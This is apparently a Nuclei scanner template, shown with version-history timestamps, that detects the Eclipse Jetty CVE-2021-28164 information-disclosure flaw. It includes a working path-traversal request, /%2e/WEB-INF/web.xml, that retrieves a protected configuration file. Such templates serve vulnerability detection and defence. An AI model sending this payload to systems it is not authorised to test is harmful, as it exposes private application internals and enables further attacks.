2021-06-09 09:07:40 +00:00
id : CVE-2021-28164
2021-06-09 06:07:03 +00:00
info :
2023-04-10 20:14:59 +00:00
name : Eclipse Jetty - Information Disclosure
2021-06-09 06:07:03 +00:00
author : noamrathaus
2021-06-24 18:35:59 +00:00
severity : medium
2021-06-09 06:07:03 +00:00
description : |
2023-04-04 21:21:24 +00:00
Eclipse Jetty 9.4.37.v20210219 to 9.4.38.v20210224 is susceptible to improper authorization. The default compliance mode allows requests with URIs that contain %2e or %2e%2e segments to access protected resources within the WEB-INF directory. An attacker can access sensitive information regarding the implementation of a web application.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can exploit this vulnerability to access sensitive information, potentially leading to further attacks or unauthorized access.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest security patches or updates provided by the Eclipse Jetty project to fix the information disclosure vulnerability.
2021-08-18 11:37:49 +00:00
reference :
2021-06-09 09:08:12 +00:00
- https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5
2021-06-24 18:24:29 +00:00
- https://github.com/vulhub/vulhub/tree/1239bca12c75630bb2033b728140ed5224dcc6d8/jetty
2022-05-17 09:18:12 +00:00
- https://lists.apache.org/thread.html/r780c3c210a05c5bf7b4671303f46afc3fe56758e92864e1a5f0590d0@%3Cjira.kafka.apache.org%3E
2023-04-12 10:55:48 +00:00
- http://packetstormsecurity.com/files/164590/Jetty-9.4.37.v20210219-Information-Disclosure.html
2023-04-04 21:21:24 +00:00
- https://nvd.nist.gov/vuln/detail/cve-2021-28164
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 5.3
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-28164
2023-10-17 06:05:26 +00:00
cwe-id : CWE-200,NVD-CWE-Other
2023-11-09 10:11:53 +00:00
epss-score : 0.03819
2023-12-12 11:07:52 +00:00
epss-percentile : 0.9092
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:eclipse:jetty:9.4.37:20210219:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
2023-11-06 09:19:20 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : eclipse
product : jetty
2023-12-05 09:50:33 +00:00
tags : packetstorm,vulhub,cve,cve2021,jetty,exposure,eclipse
2023-11-07 07:04:06 +00:00
flow : http(1) && http(2)
2021-06-09 06:07:03 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-06-09 06:07:03 +00:00
- method : GET
path :
2023-11-06 07:20:52 +00:00
- "{{BaseURL}}/WEB-INF/web.xml"
2021-06-09 06:07:03 +00:00
matchers :
2023-11-07 07:04:06 +00:00
- type : dsl
2024-01-10 14:07:36 +00:00
internal : true
2023-11-07 07:04:06 +00:00
dsl :
2023-11-09 11:08:45 +00:00
- "!contains_all(body, '</web-app>', 'java.sun.com')"
- "!contains_all(header, 'application/xml')"
2023-11-07 07:04:06 +00:00
- "status_code != 200"
2023-11-10 15:52:36 +00:00
- "status_code != 404"
2021-06-24 18:35:59 +00:00
condition : and
2021-06-09 09:07:40 +00:00
2021-06-09 06:07:03 +00:00
- method : GET
path :
2021-06-24 18:24:29 +00:00
- "{{BaseURL}}/%2e/WEB-INF/web.xml"
2023-07-11 19:49:27 +00:00
2021-06-09 06:07:03 +00:00
matchers-condition : and
matchers :
2023-11-07 07:04:06 +00:00
- type : dsl
dsl :
- "contains_all(body, '</web-app>', 'java.sun.com')"
- "contains_all(header, 'application/xml')"
- "status_code == 200"
2023-11-09 11:15:11 +00:00
condition : and
2024-01-10 17:08:41 +00:00
# digest: 4b0a00483046022100dd30417bdfd5e67668cbd4872236ce39eddb905594981f1b7921c68988af905a02210082757c9e793c61d5fd079c50e0b152a35d53df34042aea7a3e93e361d1196674:922c64590222798bb761d5b6d8e72950